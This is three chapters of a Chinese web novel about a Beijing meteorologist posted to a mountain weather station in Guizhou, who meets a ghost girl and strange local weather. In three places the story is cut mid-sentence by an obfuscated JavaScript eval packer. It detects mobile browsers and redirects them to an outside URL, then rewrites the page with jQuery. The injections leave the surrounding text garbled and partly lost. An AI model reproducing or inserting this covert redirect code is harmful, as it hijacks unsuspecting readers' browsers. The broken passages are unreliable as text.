《天气愈报》 1. 第一场雨 坚定的无神论者程澍礼先生撞见鬼了。 事情要从几个小时前说起。 五月傍晚的黔西南,峰峦叠嶂万里起伏,苍翠峭拔接天一色。 盘山公路上,一辆银白轿车若隐若现地穿梭在苍莽林海,渐渐驶入云雾弥漫的深山里。 天边落日要降不降,晒得阿尧脑袋直发昏,他坐在青石板上准备眯会儿,蓦然从眼缝里瞥见前头斜坡闪过来的一星车灯,他一激灵,赶忙揉了把脸站起来。 汽车缓缓在石阶前停下,从后座下来一人。 那人一身用料考究剪裁精良的黑色西装,拎着公文包,站在明暗交替的树荫下,晚风从树网缝隙里掠下来,轻撩起他额前的碎发,露出那张轮廓分明的清隽脸庞。 尽管长途跋涉让他略显疲惫,但这并未削弱他周身散发出的温润儒雅,男人站姿依然挺拔如柏,一眼望过去,就知道是出自书香门户的读书人。 阿尧认了人,这就是那位从北京来的副教授了。 他立刻将双手在衣襟上蹭了蹭,然后恭敬地迎上去:“程教授,一路辛苦了啊。” 程澍礼回握:“久等了。” 司机将行李箱拿下来,程澍礼要接时被阿尧一把抢过,他边走边跟程澍礼解释:“本来站长说要来接您的,但您突然说要提前过来,这不,正好赶上五一假期他去外地办事儿,就派我过来了。” 阿尧是彝族人,说话时带着重重的口音,程澍礼听起来并不轻松,需要反应几秒才能接话:“没关系。你叫?” “我叫拉玛阿尧,是您之后在这边的助理。”阿尧笑着说,他常年在野外活动,皮肤被晒得黝黑,这会儿一笑,两排大白牙又亮又齐整,“您叫我阿尧就行。” 程澍礼点点头。 棋山是烂木等山区最宜居住、风景最好的山头,程澍礼要去的有仙寨就建在这里,寨子房屋错落有致地镶嵌在各处山坳,高低不齐的青石阶一路铺到山顶,穹顶的余光从树缝里漏下来,映出地上惨寂的杂草。 阿尧领着程澍礼走了大半个山坡,转入左边小道,迎前一看,便是气象站提前给程澍礼安排的住处,一户杉木黛瓦的单层吊脚楼,台阶往上是房门,台阶往前的窗户底下,伸出一块几平米的悬空观景台。 房子虽然整体不大,但保养的很好,它伫立在青山的怀抱里,静望着山前斜坡大片的夕阳,株株树木无序排列在屋子周围,遒劲,挺拔,苍郁,安详地庇护着这方角落。 这吊脚楼本是寨里村民的,但刚建完居住层没多久,那村民便拖家带口的离开有仙寨,从那之后房子便一直空着。 半月前,市里通知要从北京来一个气象专家,让五子顶气象站的站长老金安排一处住所,既然是上头来帮扶,老金自然不敢懈怠,跟有仙寨的寨老们一商量,领着大家伙将这房子重新收拾一番,又买了一堆东西,确保万无一失了,才敢叫阿尧把人往这头领。 阿尧蹬蹬蹬几步跨上台阶,走到门前,从兜里掏出钥匙开门。 推门进去,对面的窗户大开,外头的绿枝在地板落下细影,呈现一派惬意安静。 阿尧将行李拎进屋,放到桌边问:“程教授,您吃过饭了吗?” “飞机上吃过了。”程澍礼不动声色扫眼屋内陈设,屋子中央杵着两根木柱,将工作区和生活区区分开来,就像是个小型的民宿套间。 该收拾的都已收拾完毕,不仅单独添置了冰箱微波炉这些生活家电,甚至连床上用品都已铺好,民族风的丝线刺绣被面,荷花绿叶栩栩如生,在这黑褐色的房屋内饰里显得异常鲜艳,阿尧笑笑说这全部都是新的。 然后他就冲到墙角,从小冰箱里头拿出一个蛋糕来,有些不好意思地边拆边说:“我看资料上写的今天是您生日,就从山底下买了个蛋糕。” 程澍礼眼里闪过一丝错愕,语调十分诚恳:“谢谢,麻烦了。” 阿尧拿起刀:“要不现在给您切一块儿?” “不用。”程澍礼连忙摆手,“我自己来就好。” 阿尧挠挠头,看眼天色自知不好再打扰,跟程澍礼交换手机号后,又说了两句话,便匆忙离开了。 阿尧走后,程澍礼脱了西装外套丢到椅背上,整理带过来的行李。 预定的帮扶时间是一年,大部分东西只能邮寄,所以除去几件必要的换洗衣物,行李箱里剩下的都是从北京带过来的文件资料。 这些资料大多跟五子顶气象站相关,也是程澍礼来棋山帮扶的根本原因。 五子顶气象站建在棋山山顶,那里常年云遮雾绕,却不同于烂木等其他山头地势险峭,而是一大块平整的空地,当地相传曾有五个仙人在此隐居,削去山头做成了棋盘,因此这块空地得名五子顶。 棋山因此闻名,而后来建在那块的气象站,便是如今的五子顶气象站。 五子顶气象站的建站目的是为了通过气象检测,配合相关部门建立农业气象试验站,培育引进符合山区气候的高产农作物,帮助烂木等山区脱贫脱困。 三年前,山区成功脱贫,气象站本该撤站并回市局,可不知为何,在清溯历史资料时,发现了一些诡异到毫无科学依据的天气记录。 当时的研究员查阅了大量资料,也考察了周边的地形地貌,却怎么也无法给出合理的解释。不仅如此,从那之后,有仙寨的天气忽而变得阴晴不定,连仪器也频频预估失误。 市气象局担心这会对当地农业造成负面影响,要求必须厘清异常,为此,撤站便耽搁了下来,随着时间过去,慢慢的人们也就忘了这件事。 如今根据政.府发展规划,包括棋山在内的烂木等部分山区规划为旅游区,正在紧急招商开发,有仙寨也将面临东迁,撤站的事再次重提,市里见五子顶三年都没个准信,不得已求助了更上一级的研究所,一层一层往上,一道一道关系,将远在北京的程澍礼请了过来。 而为了不浪费程澍礼这种顶尖人才,除了主导异常气候研究,他还要负责观测山区的农业气象,助力新的引种实验。 为此,在来之前,程澍礼查阅了大量的专业资料。 隔了没多久,外头突然下起淅淅小雨,雨雾随着凉风吹进来,整间屋子里都灌满山林里草木鸟兽的咸腥潮湿,刮得人不由得胸口发闷。 程澍礼关上窗户,沉沉地呼出一口气。 虽然来前已经做好了准备,知道贵州这边会常常下雨,但他仍旧是无法克服自身雨天综合症的障碍,一下雨就整个人像是被一块巨大的石头压着,无精打采得像是被抽走了一半的灵魂。 他从行李箱里翻出一只精巧的木头盒子,从盒子里取出线香和青瓷香座。 线香点燃后,袅袅青烟散在半空,直到屋子慢慢萦起清幽的栀子香,程澍礼觉得浑身松快了点,才转身继续收拾。 天边最后一抹夕阳滑下山坡,雨势越来越大,屋里格外安静,静到能够听见风雨掠过草木的潇潇声。 伴着淡淡的栀子香,程澍礼专注整理手中的资料,无论生活工作,他一贯严格要求自己,所有的文件都要按年份来源分门别类,然后方方正正地码进对应的书架格子。 用好友李多聿的话说:“你才最应该被装进格子。” 也正因这份严格,他每每看见学生的论文便要叹气:“你们这样可不成啊,学成这样可不成啊。” 所以,程澍礼到京大授课不到两个月,学生们对他的称呼从“程老师”变成了“不成老师”,又变成了“不成数理老师”。 不知过了多久,他蓦然听见身后传来一阵窸窣,动静时有时无,显得有些小心翼翼。 程澍礼回头,不经意对上一双沉静如死潭的眸眼。 年轻的女孩子站在桌边,手里紧握着一块咬去一半的蛋糕,微张的唇边还挂着几点碎屑,跟程澍礼目光相触的瞬间,她的脸上闪过难以言喻的震惊,像是不敢相信他会发现她,然而这份震惊转瞬即逝,下一秒,她就漠然别开眼,无视程澍礼的存在,继续将剩下的蛋糕送进嘴里。 程澍礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713200|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环视一圈,门窗都是紧闭,房子也没其他缺口,他一时不知这人是如何在不被他发现的情况下闯进来的。 家风使然,良好的修养令程澍礼并不恼怒,只觉得好笑,他一个大活人站在这,却被无视,而对方也毫无偷盗行为的歉意和尴尬。 程澍礼先说话:“你......” 话音才出,那女孩仿佛被惊雷击中,她猛地转头,一双惊恐万分的眼眸瞬间锁在程澍礼脸上,那眼光锐利直接,像是要把程澍礼看穿。 这怪异的反应让程澍礼一愣。 空气凝固几秒,他再度开口:“你是......” “你没死?”女孩子终于开口,声音低沉而沙哑,她一个字一个字地说,咬字十分费力,像是嗓子里揉了一把粗沙。 程澍礼不禁蹙眉,这叫什么话? 也是到了这会儿,程澍礼才真正注意到女孩子的穿着,一袭早已过时的民国白衫蓝裙,两个麻花辫有气无力地耷在肩上,她圆脸清秀,春杏一样的眼睛中泛着干涸的微红,样貌倒是不丑,只是她脸色极度苍白像个死人,眼神空洞之余又透露出一种无法言说的犀利。 他说:“你偷吃我蛋糕,还要杀人灭口?” 闻言女孩子皱起脸,不说话,视线上上下下将他浑身逡巡一遍,看他的眼神中多了几分古怪和探究,似乎试图在程澍礼身上寻找什么答案。 “你是在这山里迷路了,摸到这里来的吗?”程澍礼又问。 “迷路?”女孩子将这两个字单独拎出来,再说话时,她的嗓音已经比之前清晰了点,“我迷路很久了。” 程澍礼:“手机导航呢?” 女孩子看着他,不回答。 程澍礼又问:“没电了?” 小朋友喜欢玩cosplay程澍礼可以理解,但是玩心太大忽视安全就不好了,程澍礼当她是跟友人在山里胡闹跑散了,于是拿起手边的手机充电器,隔空递给她:“这个借给你。” 女孩子没伸手接,他以为她害羞,便轻抛过去,女孩子还是纹丝不动。 随着“铛”的一声,程澍礼的眼睛遽然瞪大—— 充电器竟仿佛穿透了无形的屏障,毫无阻碍地穿透了女孩子的身体,直直掉落在她脚边,而她的脚上,没有穿鞋,右边脚背上有大片触目惊心的殷红血迹。 也许是与生俱来的稳重,又或者说是因为无神论,面对这超乎常理的景象时,程澍礼并没有太多恐惧,但仍有一种说不清道不明的感觉,悄无声息地从他的心里渗透到四肢百骸。 他第一反应是跟女孩子对视,想看看她是否跟他一样觉得怪异。 而那女孩子只是笑了一声。 像是调皮的小孩交出偷藏的糖果,期待的恶作剧终于有人中招,她好整以暇地望着程澍礼,看他这副略带慌张又努力保持镇定的纠结模样,觉得十分有趣。 程澍礼看过去,女孩子也在看他,歪着头朝他盈盈一笑,好像并没有要伤害他的意思。 程澍礼稳下心神,打算再问些什么,被一阵敲门声打断,屋里能喘气的皆是一惊。 “程教授,休息了吗?”阿尧端着饭盒站在门外,继续道:“我突然想起来您从机场到这边要好几个小时了,怕你晚上饿,所以给您拿了点吃的。” 屋内无人应答。 阿尧以为出了什么事:“程教授,怎么了?” 当下,程澍礼只想弄清对面的女孩子到底是什么,想也没想地问:“我看见......” 下一秒,程澍礼感觉有什么东西急掠到自己跟前,一股扑面而来的无形力道逼得他踉跄后退,整个人跌坐在椅子上。 一只冰冷的手死死掐在他的脖子,阴森寒气顿时直冲心底,令他手脚冰凉无法动弹。 程澍礼再抬头,刚才那张清秀的脸已经变得枯瘦如柴,两个眼窝深深的嵌在脸上,嘴唇上正往外渗着血。 那女鬼怒目瞪他,一字一句威胁。 “你要敢说出去,我就弄死你。” 2. 第二场雨 “您看见什么啦?”房门被人从外面推开。 程澍礼和女鬼同时转头看去,阿尧端着饭菜走进屋子,他边走边用眼睛扫了一圈屋子,最后疑惑地看向程澍礼:“这屋里有什么东西吗?” 他的目光里只有程澍礼,没有表现出惊恐或任何异样,所以程澍礼内心猜测,阿尧看不到自己身边的女鬼。 他沉住气,瞥眼正在桌沿上爬行的黑色小虫,问阿尧:“那是什么?” 阿尧将东西放到桌上,低头一看,“哦”了声回答:“这个啊,这种虫子在我们这叫土蝽,一般山里下雨的时候就会出现。” 说着,他将虫子捉在手里:“您怕虫子啊?” 阿尧说话时,这边的一人一鬼还保持着那个姿势,女鬼凶神恶煞地瞪着程澍礼,突出的眼球挤出畸形的形状,几乎撑爆她那瘦瘪的眼眶。 然而程澍礼却恍惚能感觉得到,扣在他脖子上的那股力道在慢慢减弱,许是女鬼也发现了这一点,她身体猛地靠近,试图以此来威慑程澍礼。 眉目间淡淡的慌乱盖住她的愤怒和阴森,可眼里的恫吓半分不减,程澍礼望一眼女鬼,回答阿尧的话:“不是,就是看见了好奇。” 阿尧没想太多:“那你快吃饭吧。” “我歇会儿就吃。” “行,那我就先走了。” “嗯,谢谢。” 阿尧一走,女鬼便松开手,不过须臾,她又变回开始的白净模样,眼神一并变得平静而从容,丝毫不见刚才那副恐怖嘴脸,也没再向外散发危险信息。 面对这变化,程澍礼虽心有余悸,但到底也是见过世面有过见识的人,他面上已不似之前震惊,而是静静坐在椅子上,望着几尺开外的女鬼。 女鬼也在默默打量他,眼神带着试探和不解。 “你是鬼?”依然是程澍礼先说话,他直奔主题,虽然他心里不这么想。 女鬼点下头,干脆承认,接着她反问:“既然你没死,为什么能看见我?” 这个问题程澍礼无法回答,他摇摇头,事实上,作为一个严格求真的研究学者,他比这女鬼更想弄清这件事的来龙去脉。 首先他要知道对方叫什么:“你们变成鬼之后,还有名字吗?” “又又!”提起这个,女鬼的眼睛亮了一瞬,因为这是漫长的岁月里,第一次有人问她的名字,她几乎喊出来:“我叫棠又又!” 程澍礼礼尚往来:“我叫——” “程澍礼,我知道!”棠又又抢过他的话,声音响亮而活泼。 “你怎么知道?”程澍礼有些诧异。 棠又又指指上面:“欢迎你的横幅在大门口都挂了快一个月了。” 会意后,程澍礼有些尴尬,五子顶气象站的人这番作派,是真的把他当作能够帮助撤站的救命稻草,而这也是程澍礼此行最大的担忧。 但眼下,程澍礼无暇去管这些。 他再次观察起棠又又,从上到下,从头发到光着的双脚,除了那身不同寻常的衣服,她身上没有任何能透露其他信息的东西,也是这时,程澍礼才察觉她脚上的血迹已经不见了。 于是他大胆推测:“你是民国人?” “不记得了。”棠又又前一秒还鲜活的表情倏然变得迷茫,“死前的事都不记得了。” “那你......”程澍礼欲言又止。 棠又又眨眨眼睛,很认真地等着他接下来的话。 即便是无神论者,从小到大,程澍礼也听过不少诡谲离奇的鬼神故事,那些故事里的鬼怪要么青面獠牙,要么妖冶美艳,可无论哪种描述,无一不来自人类的想象,作不得数,程澍礼大多听过就罢,他不信有鬼。 所以如今眼前出现个半真半假的,程澍礼第一反应是弄清对方的来源和形成原因。 他问:“你是怎么获取能量的?” 棠又又“噗嗤”的笑出来,看他这样,是把她当成聊斋里勾引白面书生的女妖精了? 这是个无用的问题,但好不容易有人跟她说话,棠又又玩心大起不愿放过这个机会:“吸美男子的阳气啊。” 她故意朝程澍礼抛去一个魅惑的眼神,语意耐人寻味:“我看你就长得很撑投。” 程澍礼沉浸在思考当中,大脑自动忽视她的戏谑,只继续问:“你能摸到你自己吗?” 没得到回应,棠又又也并不在意:“能啊。”说着,她拍拍自己的脸,然后低头看了看手心。 程澍礼:“活人呢?” “偶尔可以,但活人碰不到我。” “偶尔?” “像刚才那样。”她指指程澍礼脖子。 “......” “那你的脸?”因为觉得冒犯,程澍礼的语气有些迟疑。 棠又又不以为然道:“情绪激动就会变成那样,可能是我死时候的样子吧,吓到你了?” “没有。” 程澍礼稍低下头,盯着她脚边的地面,脑海中思索着两人刚才的对话,想在里面找到什么突破口。 雨点扑到屋顶上,更衬的屋里死气沉沉。 “欸!”隔半晌,棠又又打断他,脸上有些被冷落的不悦,“你没别的想问的了?” “有。”程澍礼抬头,指着桌上的蛋糕问:“为什么你能碰到它?” “你点香了。” 话落,最后一截香灰掉进香插,香火如落日垂山般熄灭了最后一抹光亮。 棠又又再伸手过去时,指尖轻轻放到阿尧送过来的饭菜,如同穿越虚幻的薄雾,怎么抓也抓不起来了,她望着近在咫尺却触不可及的食物,轻叹了声气。 回忆起上次能碰到食物,要追溯到几十年前,村里的一个老毕摩点的香。自从那老毕摩仙逝后,棠又又便独自游荡在有仙寨,虽然这里的人都是少数民族,平日有不少祭祀节日,可每当那些袅袅香烟升起的时候,她都碰不到贡品,自然也就无福消受。 至于为什么今天又能碰到,飘了这么长时间,棠又又早不在乎了。 见她神色落寞,程澍礼忍不住问:“你还饿吗?要不要再吃点?” 棠又又摇头:“我感觉不到饿。” 虽然在特定情况下能吃东西,但实际上除了味觉,她没有任何人类的感受,而所谓的味觉,也不过是吸了那些食物里的精气,比起真正活人吃东西的感受,到底大相径庭。 程澍礼蹙眉:“这香有什么奇异之处吗?” “你问我?”棠又又一脸看傻子的表情,但她还是问:“谁给你的香?” 程澍礼说:“一个朋友。” 赠香的朋友名叫景祎,是位世代相传的中医,她当初用中药调香时便说过,程澍礼这雨天抑郁的毛病是娘胎里带出来的,没法儿根治,只能用这些方法缓解。 但他用了好几年线香,招鬼,今天算头一遭。 棠又又忿忿不平:“有朋友真好。” “那你体内还有人体的内脏吗?”程澍礼跟着问她。 “没看见过。”说完,棠又又脸上骤然露出一个顽劣的笑,“要不你帮我看看!” 没等程澍礼接话,棠又又再一次冲他直飞过来,将自己下半身盖到他脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此话一出,棠又又回过神来,她甩手破口大骂:“你有病吧!拿我写论文呢!” 程澍礼想要解释,可才张开嘴,只见棠又又手掌一挥,一捧凉水迎面泼进他的眼睛口鼻,水从他的头顶淌下,流过他的眉梢、鼻梁,眼前世界变得模糊不清。 等再睁开眼,屋内只剩程澍礼一人。 他站在原地,仔细回忆棠又又说过的话,将细枝末节都清晰地刻在心底。 可无论如何复盘,程澍礼心里始终悬着一丝怀疑,因为这打破了他三十年来的认知,而桌上留着指印的蛋糕,在不断提醒他这一切的真实性,告诉他这不是梦。 不知隔了多久,外头风声息止。 他推开房门,雨已经停了,远处奇山兀立,峰峦起伏,天边悬着一轮圆月,水洗过的澄澈明亮,月辉洒在山坡,山野草木里的鸟兽虫鸣嘈杂而微弱。 这场雨来得快,走得也快,好似刚才那个贸然闯入的女鬼。 来到有仙寨的第一天,程澍礼打破了十一点必须上床睡觉的规矩,一夜未眠。 他从网上下载了初高中乃至大学的所有物理教材,搜寻了近十年国内外的高精尖论文。 现代物理学大厦已经建立得十分牢固,程澍礼找不到一丝缝隙,更不知道棠又又到底是从哪里钻出来的。 他苦思冥想没有结果,心底想着等再见到棠又又,一定要找她问个清楚。 但接下来半个月,棠又又都没再出现。 3. 第三场雨 上班的第一天,程澍礼就见识到了五子顶气象站的艰难。 站里目前在职员工仅有五人,而除了老站长金广睿,待得时间最久的竟然是食堂做饭的蔡叔,至于剩下的两男一女,老金形容是拆了东篱补西壁——穷凑合。 男生叫卓客,之前在农业局工作,两年前就被调过来这边负责农情调查,女生梁晶晶的情况则跟程澍礼很像,过来研究异象的,不过她是被从市自然资源局调过来,据她自己说,是因为得罪了领导才被下放到棋山的。 而阿尧呢,去年才大学毕业,尚未有太多经验,所以老金特意让他当程澍礼的助理,为的就是让他能多学东西。 老金还说,之前也招过几个研究员,但都因为嫌弃气象站建在山上,每天要爬上爬下的吃不消,没多久辞职了。 可能这理由已经跟人说过太多遍,又或者别的什么,老金说话的时候很不自在,目光微微躲闪,以至于程澍礼看他时忍不住带了一丝怀疑。 接着,老金话锋一转,他忐忑地摸着自己的膝盖:“程教授,真是麻烦你了啊。” 程澍礼说:“应该的。” 刚一说完,老金骤然一声怒吼:“梁闪闪,你又早退!” 程澍礼闻言转头,不远处的梁晶晶收起猫腰鬼祟的冲锋姿态——如果忽略她偷感很重的表情——直挺挺地站起来,翻了个大白眼:“梁闪闪早退关我梁晶晶什么事!” 老金恨铁不成钢地把她拽回去,小声嘀咕:“知道你嫌食堂饭菜不好吃,但一周五天班你往外跑四天,让蔡叔脸往哪放!” 梁闪闪犟着个圆圆脸:“那我在的那天您在哪呢?” “......”老金一时语塞,对程澍礼尴尬地笑了下,随即说:“程教授我还有点事,您先自己转转,有问题叫阿尧啊。” 等两人走后,程澍礼站在空地上打量周围的环境,一片静默后,身后气象站里传来卓客的暴喝:“梁晶晶!你把羊肉粉给我放下!” 梁晶晶呼哧呼哧嗦粉:“老金给我的,你找老金去。” “老金头!”蔡叔拎着大锅勺从厨房里冲出来,旋即像阵风一样刮进屋里:“别以为我不知道你昨天偷偷去老乡家烫火锅!” 阿尧补刀:“酸汤的!” 程澍礼:“......” 一晃半个月的时间,程澍礼基本适应了五子顶气象站的工作,也终于在百思不得其解之下,拨出去一个电话。 可那头的人明显不想接他的电话,声音里满是幽怨:“放。” 程澍礼口吻不温不火:“雨天综合症会不会引起幻觉之类的精神问题?” “比如?” “看见鬼。”程澍礼认真道,接着他又补充:“和鬼说话。” 景祎历经长途飞行又写会议材料,累得要死终于才睡下不到二十分钟,被一个电话吵起来已经处在爆发边缘,听到的却是这么有病的问题,她觉得自己离猝死不远了。 她的声音从齿缝里挤出来:“您知道现在几点吗?” 因为一直以来的工作习惯,程澍礼每天都会提前一小时到达工位,所以他看都没看地说:“北京时间八点。” 景祎脾气快压不住了:“我说的是意大利时间。” “你什么时候去的意大利?” “您但凡尊眼受累一下,看看我发的微博就知道。”景祎热爱生活也喜欢记录生活,会将去过的每个城市都标记在网络上,留下自己存在过的痕迹。 程澍礼被噎了下,没有说话,紧接着景祎又冷飕飕地说:“哦对我忘了,您老的像是古庙古树上古老的快死了的蜘蛛,上不了网的。” 她在嘲讽他,嘲讽他不开通微博也不注册短视频,嘲讽他生在科技时代却只爱看书喝茶做研究,除此之外生活寡淡的像个和尚。 其实如果不是为了工作,他大概率也不会用微信。 “你就说会不会?”程澍礼看见从外面进来的卓客,想尽快结束这场对话。 景祎:“不会。” “好的。”得到答案后,程澍礼真诚问道:“你突然跑去国外是为了躲李多聿?” 电话那头传来水杯的摔裂声。 “程澍礼我去你——” 心满意足的程澍礼果断挂掉电话,也挂掉来自大洋彼岸的破口大骂。 羊肉粉十级爱好者卓客正坐工位上稀里呼噜地嗦粉,听见他电话打完,赶忙说:“程教授,你等我吃完咱就出发。” 程澍礼:“不着急。” 按规划,今天卓客要带他到各个试验田实地考察。 试验田在烂木等山脉第二高峰松里峰的一处斜坡,从棋山抄近路过去,一路草木葱郁,林间日光洋洋洒洒。 到达中药种植基地,负责人简单介绍了这块川乌种植的情况,程澍礼一边听,一边仔细查看土壤墒情监测仪,各项数据都显示正常,如无意外,这片试验田将迎来大丰收,明年可以流转土地扩大栽种面积。 然而负责人没有想象中的喜悦,而是不停追问程澍礼:“这两天会不会下雨?”川乌要过几天才能收割,如果下雨,很容易发霉变质。 程澍礼看完所有监测仪才回答:“从目前的数据看,不会。” “确定吗?” “气象学没有百分百的确定,但大概率是晴天。” 才刚说完,背后的风杯呼呼作响,紧接着,几人被一阵刺骨的寒潮所包围。 黔西南州地处亚热带季风区,全年气温波动振幅较小,虽然各县市存在差异,但烂木等四季分明,气候温和,夏季也不是滇黔准静止锋的活跃季节,按道理说,现在不该是降温的时候。 卓客被这寒意冻得打个哆嗦,他嘀咕:“靠,又来了。” “什么又来了?”程澍礼侧头问。 “天气啊。”卓客笑了下,“你看太阳这么大,温度说降就降,解释不清就只能报异常呗。” 程澍礼问阿尧:“以前也有类似现象?”五子顶给他的资料里没有寒潮的记录。 “有,但是它们都太快了,而且是区域性的,能记下来的不多。” 阿尧嘴上说着,手里的笔没停下来过,他赶紧将今天的现象都记下来,但仍旧和往常一样,监测仪上的数据没有任何异常。 如阿尧所说,寒潮很快过去,四周的温度再次变得燥热。 看着毫无反应的监测仪,程澍礼对负责人说:“能不能把这块试验田近两月所有监测仪的数据给我一份。” 负责人说:“可以,待会儿我汇总下。” 然后程澍礼又让阿尧回去后,将这附近现有的气象记录全部找出来,他要对照着监测数据一一核实。 看他如此紧张的安排,负责人再次确认:“真的不会下雨吗?” “不会的。”卓客拍拍手上的泥土,然后扬手一指对面山头圆圆的高积云,“放心吧,天晴着呢。” 程澍礼默不作声,他看向远方,青山连绵不绝,衬着大片透亮的云天。 看完这处,卓客跟程澍礼赶着去水稻试验田,阿尧回气象站整理数据。三人在棋山的半山腰处分开,阿尧往上,程澍礼两人往下。 越往山下走,芦笙大鼓的声音越敞亮,绕过一处弯,视野逐渐变得开阔,随之映入眼帘的,是几十张沿着石阶旁空地摆放的长桌,桌上摆满了腌鱼腌肉和特色食物,穿着黑底绣花民族服饰的客人们坐在树下推杯换盏,旁边林子里有人载歌载舞。 来这一个月,程澍礼几乎早出晚归,跟晨星夕月相伴,除了五子顶气象站的同事,他还是头一次在有仙寨里看见这么多人。 一路下来,卓客脸上的笑就没停过,一直在跟相熟的村民打招呼,他跟程澍礼解释:“寨里的姚寨老今天嫁女儿,设的长桌宴。” 程澍礼边听,边礼貌地回绝了旁边男人递过来的一杯米酒。除去家中长辈寿辰,他滴酒不沾。 劝酒的男人不依不饶,吱吱呀呀说了一堆程澍礼听不懂的话,固执地将酒杯往他怀里送。卓客过来解围,他不知道跟男人说了几句什么,对方看眼程澍礼,恍然大悟般点了点头,然后捧着酒杯招呼别人去了,顺带拦下几个要过来劝酒的人。 见状,程澍礼好奇地问:“你跟他说了什么?” 卓客看他一眼,哈哈大笑:“这里的村民都朴实好客,办喜事儿的时候图个热闹喜欢劝酒,所以你那么直接地拒酒肯定不行,我只好跟他们说咱们下午还要上山咯。” 程澍礼不解:“喝了酒不能上山吗?” “要不说怎么叫有仙寨呢。”卓客一副讳莫如深的表情,“这山上可是有仙女儿的。” 不同于五子顶仙人统一的说法,有关仙女的传闻存在各式各样的版本,都是从寨子里的老人口中传出来的。他们常常聚在山脚下的花桥,坐在两边桥栏的长椅谈笑风生,这些故事随着潺潺河景一起悠扬流淌。 从前,卓客背着笨重的仪器路过,歇脚听过一嘴。 在有仙寨还是无名小村时,四处都是浩瀚无垠的深山老林,人一进去就像钻进迷宫的无头苍蝇,轻易找不到出口,所以那时采摘山货的村民必须要三俩结伴,再叫上年长有经验的长辈才敢进山。 某天,村里一户人家的孩子走失,全村村民上山找了好几天都没踪影,就在家人快要绝望的时候,有人在离村落最远最荒凉的山峰上,看见孩子安安稳稳地坐在一块石头上。 奇怪的是,消失了几天的孩子既不渴也不饿,还一直说有个姐姐在陪着他说话,而那时人们看见的他的身边,除了树还是树。 顿时间,村里流言四起,成了众人茶余饭后热议的话题,有人说他是中邪了,有女鬼要勾他的命,有人则说是山里的仙女保佑了他,各种议论和猜测交织在一起,形成一股难以平息的风暴。 也有人想从孩子嘴里套出更多的话,可过了几天,孩子对那段经历的记忆慢慢变得模糊,好似这事儿从来没发生过,仿佛只是一场梦魇,所以再提起时,人们更倾向于认为,这完全是小孩子极度恐惧时产生的幻想。 直到后来,乡村合制要给寨子取名,老一辈寨老想不出其他,忽的想起这个传说,便报了个“有仙寨”的名。 纵然卓客说的煞有其事,程澍礼也只是轻笑,摇摇头继续往山下走。 卓客咂了咂舌:“不过咱这地盘确实有点邪乎。” “邪乎?”程澍礼面色一变,但那也是短暂的一秒钟,很快他又恢复成冷静的样子:“为什么?” “站长没告诉你?” 程澍礼正准备说话,忽然头顶几点湿意,雨滴从树叶的缝隙里掉下来,落在地面的粼粼碎光上,砸出铜钱大小的水印。 卓客立刻掏出手机,打电话给中药基地的负责人,通知他们赶紧趁雨小抢收川乌。 “我们这儿没下雨啊。”对面的负责人一头雾水,“太阳还大着呢。” 挂掉电话,卓客跟程澍礼对视一眼,很快明白了什么,他耸下肩膀,无可奈何又习以为常。 两人到就近的一处村民家躲雨,身穿五彩绣花服装的老妇人坐在里屋,侧身迎光,弯腰伏在绣架上刺绣,在她旁边,白胖的小男孩趴在凳子上,一手做试卷一手往嘴里塞蛋糕。 门口,程澍礼坐在石凳上低头看手机。 卓客问:“怎么样?” 程澍礼说:“没变化。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713202|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫星云图显示一切正常,没有明显降雨指征。 “所以我才说邪乎啊。”说着卓客掏出一根烟准备点上,突然记起山里不能抽烟的规矩,他忙将烟和打火机收起来,继续跟程澍礼说:“你看刚才咱们在试验田,还有这说下就下的雨,一个赛一个的怪,而且怎么查都查不出来,不邪乎吗?” 说到这他停了下,压低嗓音道:“而且就为这事儿,咱站长还专门找过道士。” 程澍礼皱眉:“道士?” 卓客一看他这茫然的表情,就猜到是老金不好意思说。 他无所谓,没三两句把老金那点子事儿全抖落出来:“就你来之前的半年,老金回家探亲时,听人说有个叫‘天涯道人’的高人能驱邪,拖了许多关系请来的。” 到今天,他还记得当时的场景——那道士手里拎一斑驳老酒葫芦,好一番威风之后举起葫芦畅饮,然后喝急了,嘴边呛出两绺啤酒沫子。 一问才知,其实是因为那道士好酒却酒量差,就只能喝勇闯天涯,所以自居“天涯道人”。 “什么天涯道人,就他妈是一酒蒙子。”卓客语态讥讽,“当时站长不死心,问他山区异象可有法解,你猜那酒蒙子怎么说的?” 程澍礼:“我猜他没说出什么有用的话。” 卓客哼哼:“他竟然说要破财免灾!” 当他说出“破财免灾”四个字时,现场所有人面面相觑不敢说话,再看老金,脸都被气歪了,最后是强忍着脾气,让卓客把人连哄带赶地送下了山。 这事儿说起来真的丢人,任谁听了都是笑话,那老金本人必不可能主动提起,尤其是在程澍礼这种高级知识分子面前。 程澍礼反过来问卓客:“你信这个?” 卓客一挑眉梢,接着撩开外套下摆,腰间工作证的透明保护套里夹着张黄色的平安符,还有他手上绕了好几圈的佛珠,个中意思不言而喻。 